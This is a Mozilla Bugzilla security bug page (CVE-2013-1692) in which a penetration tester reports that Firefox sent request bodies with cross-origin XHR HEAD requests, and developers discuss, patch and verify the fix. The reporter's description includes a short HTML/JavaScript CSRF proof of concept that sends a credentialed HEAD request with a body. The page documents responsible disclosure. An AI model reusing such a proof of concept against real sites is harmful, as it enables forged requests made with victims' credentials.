Bug 866915 (CVE-2013-1692)

Do not send data XHR HEAD request

VERIFIED FIXED in Firefox 22

Status

()

Core
DOM: Core & HTML
VERIFIED FIXED
4 years ago
3 years ago

People

(Reporter: Johnathan Kuskos, Assigned: smaug)

Tracking

({sec-high})

20 Branch
mozilla24
x86
Mac OS X
sec-high
Points:
---
Bug Flags:
sec-bounty +
in-testsuite ?

Firefox Tracking Flags

(firefox20 wontfix, firefox21 wontfix, firefox22+ verified, firefox23+ verified, firefox24 verified, firefox-esr1722+ verified, b2g1822+ fixed, b2g18-v1.0.0 wontfix, b2g18-v1.0.1 affected)

Details

(Whiteboard: [adv-main22+][adv-esr1707+])

Attachments

(4 attachments)

(Reporter)

Description

4 years ago
Created attachment 743269 [details]
RequestResponse.png

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31

Steps to reproduce:

During a penetration test for a client, I found that CSRF was possible on a piece of their functionality when sent as a HEAD.  In the latest version of chrome, they send a preflight request for this HEAD request, but Firefox 20 is not.  I will attach the Request and Response with the sensitive client information omitted.  My CSRF Proof of Concept has xmlhttp.withCredentials = true;.  

I've supplied two things to you, the code that allowed for my exploit to work, as well as the request response pair that happens when the request is sent.  I've omitted sensitive information about the application this worked on because I do not own it, but if needed I'll try to spin up an environment that is similar to what I'm working on to recreate it.  Since I can only upload one file, I'm going to paste my Proof of Concept code here, and attach an image of the actual exploit taking place after the form request was made.


<!-- 
Johnathan Kuskos

This file is psuedocode for a successful CSRF I was able to exploit for a client.
The file was hosted on my personal site at malfiles.jkuskos.com and targetted a URL that i've renamed "example.com" for sake of my client's privacy.  I will attempt to supply as much information as I can, as I believe that a PreFlight request should not have allowed this to take place in Firefox 20.0.  
-->

<!DOCTYPE html>
<html>
<head>
<script>
function loadXMLDocHEAD()
{
var xmlhttp;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200 || xmlhttp.status==302)
    {
    document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
    }
  }

var url = "https://example.com";//true victim omitted
var params = "body=";//true parameters omitted
xmlhttp.withCredentials = true;
xmlhttp.open("HEAD", url,true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(params);
}


</script>
</head>
<body>


<h1>HEAD request</h1>
<button type="button" onclick="loadXMLDocHEAD()">Send HEAD</button>
<div id="myDiv"></div>

</body>
</html>





Actual results:

The CORS request was successfully sent.


Expected results:

A Preflight request should have first sent an options request to check for if the HTTP verb was allowed, as specified here:  https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Preflighted_requests
Flags: sec-bounty?
Component: Untriaged → DOM: Core & HTML
Product: Firefox → Core
If we are violating the spec here this is probably sec-moderate or sec-high since we're potentially contributing to CSRF attacks on sites that wouldn't be allowed without the XS-XHR feature. Can I get Anne or Olli to opine here?
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: sec-high

Comment 2

4 years ago
HEAD is a simple method so can be done without preflight: http://www.w3.org/TR/cors/#simple-method This is an exception to type of requests that can be made with <form>, but it was a conscious one.

Comment 3

4 years ago
Note that per http://xhr.spec.whatwg.org/#the-send%28%29-method the data passed to send() is ignored for HEAD / GET. Are we ignoring that requirement maybe?
(Reporter)

Comment 4

4 years ago
Looking at steps 3 and 4 of the send() method, it appears to be what I encountered.  Even though  the request verb was HEAD, "data" did not get set to null, and the request body was successfully included.

Comment 5

4 years ago
(It also seems like a bug that Chrome does a preflight for HEAD. I guess once we figure out if there's a bug here we should clarify what the standard should say with each other.)
(Reporter)

Comment 6

4 years ago
Backtracking a bit to preflight, I think the issue is that yes, HEAD is a simple method.  However, withCredentials=true.  Because withCredentials=true, regardless of if HEAD is simple or not, a preflight must go out so that the browser isn't contributing to CSRF.  If the application doesn't respond with the appropriate headers to be used in preflight, that's the application's fault. 

As it currently stands, I would just use Firefox as my exploit browser for this type of CSRF vulnerability where verb tampering is allowed.  I'll be spending today doing some research on this, but I believe Chrome is sending a preflight because withCredentials=true, and not because it's just a HEAD method.

Comment 7

4 years ago
Credentials has no bearing on this. Even without credentials it'd still be considered problematic (if considered problematic to begin with) for intranets.
(Assignee)

Comment 8

4 years ago
So is the bug here that we send data with HEAD?
(Assignee)

Comment 9

4 years ago
Should the spec whitelist the cases when data should be sent?

Comment 10

4 years ago
http://xhr.spec.whatwg.org/#the-send%28%29-method is pretty clear it should only be possible to be non-null when the request method is not HEAD or GET, no?
(Assignee)

Comment 11

4 years ago
Created attachment 746622 [details] [diff] [review]
no data with head
Assignee: nobody → bugs
Attachment #746622 - Flags: review?(jonas)
Comment on attachment 746622 [details] [diff] [review]
no data with head

Review of attachment 746622 [details] [diff] [review]:
-----------------------------------------------------------------

Tests needed though.
Attachment #746622 - Flags: review?(jonas) → review+
(Assignee)

Comment 13

4 years ago
Comment on attachment 746622 [details] [diff] [review]
no data with head

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Well, the problem is obvious

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
The check-in comment should be about updating implementation to follow the XHR spec

Which older supported branches are affected by this flaw?
All

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
The patch should apply everywhere.

How likely is this patch to cause regressions; how much testing does it need?
Probably not too regression risky, but hard to say if some website is doing odd Gecko only XHR handling.
Attachment #746622 - Flags: sec-approval?
Attachment #746622 - Flags: approval-mozilla-esr17?
Attachment #746622 - Flags: approval-mozilla-b2g18?
Attachment #746622 - Flags: approval-mozilla-aurora?
This doesn't look to be a respin 21 driver as it's only sec-high so marking wontfix there, we can look at uplift to FF22 once sec-approval is evaluated.
status-b2g18: --- → affected
status-firefox21: --- → wontfix
status-firefox22: --- → affected
status-firefox23: --- → affected
status-firefox-esr17: --- → affected
tracking-b2g18: --- → +
tracking-firefox22: --- → +
tracking-firefox23: --- → +
tracking-firefox-esr17: --- → ?
status-firefox20: --- → wontfix
Comment on attachment 746622 [details] [diff] [review]
no data with head

I think this is ok for m-c right now. It is a sec-high but not the most dangerous thing in the world right now. sec-approval+.
Attachment #746622 - Flags: sec-approval? → sec-approval+
(Assignee)

Comment 16

4 years ago
Created attachment 747580 [details] [diff] [review]
with a test
(Reporter)

Comment 17

4 years ago
Since progress is being made on this, may I ask when an acceptable time would be to disclose this to other security researchers?
This isn't going to make it into the release tomorrow so our preference would be to keep it quiet until we can issue the fix in six weeks with Firefox 22.

But does the change we make fix the problem you see? We're still not doing a pre-flight request which we think is correct according to the spec. We were sending a body incorrectly but that may not be the cause of your CSRF.
(Reporter)

Comment 19

4 years ago
If the body is always nulled out for a head request, I do believe that this would no longer be a problem. I initially thought that the behavior might have been a preflight issue because the mozilla documentation I referenced in my original report stated "methods other than GET or POST" as being necessary for preflight, however Anne mentioned that was a conscious implementation.  

The cause of my CSRF works in two parts.
1) The browser allowed me to send it cross origin.
2) The application accepted it and processed it as a POST.

Part 2 is the fault of the application.  Part 1 wouldn't be possible if the body is null because the application would then treat it as a GET, which is an allowed simple method and doesn't require preflight.  I don't see how this could further be exploited with a nulled body as a HEAD request.  

Thanks for the input on disclosure.  I have a blog post drafted but will sit on it until the fix is live.

Updated

4 years ago
tracking-b2g18: + → 22+
tracking-firefox-esr17: ? → 22+

Updated

4 years ago
Attachment #746622 - Flags: approval-mozilla-esr17?
Attachment #746622 - Flags: approval-mozilla-esr17+
Attachment #746622 - Flags: approval-mozilla-beta+
Attachment #746622 - Flags: approval-mozilla-b2g18?
Attachment #746622 - Flags: approval-mozilla-b2g18+
Attachment #746622 - Flags: approval-mozilla-aurora?
Attachment #746622 - Flags: approval-mozilla-aurora+
(Assignee)

Comment 20

4 years ago
https://hg.mozilla.org/integration/mozilla-inbound/rev/8df06e62ea12
https://hg.mozilla.org/mozilla-central/rev/8df06e62ea12
Status: NEW → RESOLVED
Last Resolved: 4 years ago
status-b2g18-v1.0.1: --- → affected
status-firefox24: --- → fixed
Flags: in-testsuite?
Resolution: --- → FIXED
Target Milestone: --- → mozilla24
https://hg.mozilla.org/releases/mozilla-b2g18/rev/754cdb0282e4
https://hg.mozilla.org/releases/mozilla-esr17/rev/0209f29511ed
status-b2g18: affected → fixed
status-b2g18-v1.0.0: --- → wontfix
status-firefox-esr17: affected → fixed
https://hg.mozilla.org/releases/mozilla-aurora/rev/43d38dbcbbed
https://hg.mozilla.org/releases/mozilla-beta/rev/13b3cc44aaea
status-firefox22: affected → fixed
status-firefox23: affected → fixed
Flags: sec-bounty? → sec-bounty+

Comment 25

4 years ago
I'm not seeing any difference in headers between Firefox 21 and 22 when using the reporter's testcase (I'm using the HTTPFox add-on for seeing the headers).

What should the differences be? Or am I not looking in the right place?
(Reporter)

Comment 26

4 years ago
Created attachment 753314 [details]
ff22 beta behavior

Here's a new test page that I've been using http://malfiles.jkuskos.com/xhr.html

I checked the FF22 beta to see if this is fixed, and it looks to me like a head request is still being made with post data the first time a page that contains the request is loaded.  It won't be made on repeated visits to the same resource after that, but if the cache is cleared, it will be made again.

In this traffic history, #103 is my first request, which then sends a head request with post data.  #105, #106, and #109 are more requests to the same resource.  After #109, I clear my cache and request the page again, which then sends a head request with post data.
Whiteboard: [adv-main22+][adv-esr1707+]
Johnathan, referring to comment 26, I can't reproduce this behavior post-patch. Can you try again with a later build?

I can easily see the problem in builds of FF21/FF22 pre-patch.

I've confirmed that no headers are sent with an XHR HEAD request using the following builds:

FF17esr 2013-06-18
FF22 2013-05-25
FF23 2013-05-25
FF24 2013-06-13
Status: RESOLVED → VERIFIED
status-firefox22: fixed → verified
status-firefox23: fixed → verified
status-firefox24: fixed → verified
status-firefox-esr17: fixed → verified
Whiteboard: [adv-main22+][adv-esr1707+]
Whiteboard: [adv-main22+][adv-esr1707+]
For developers and security folks - we'll need to accurately describe this issue in an advisory. I think that we've learned that the issue isn't the lack of a preflight request, but rather that we shouldn't be sending data in an XHR HEAD request.

Clarifications welcomed.

Comment 29

4 years ago
The summary in comment 28 seems accurate to me.
Alias: CVE-2013-1692
Summary: No XHR Preflight request in Firefox 20 for a HEAD request during a CSRF proof of concept. → Do not send data XHR HEAD request
(Reporter)

Comment 30

4 years ago
Matt, In the version of the FF22 beta that's available at http://www.mozilla.org/en-US/firefox/beta/ I'm not seeing this behavior anymore.
Great news, Johnathan - thanks!
Group: core-security
You need to log in before you can comment on or make changes to this bug.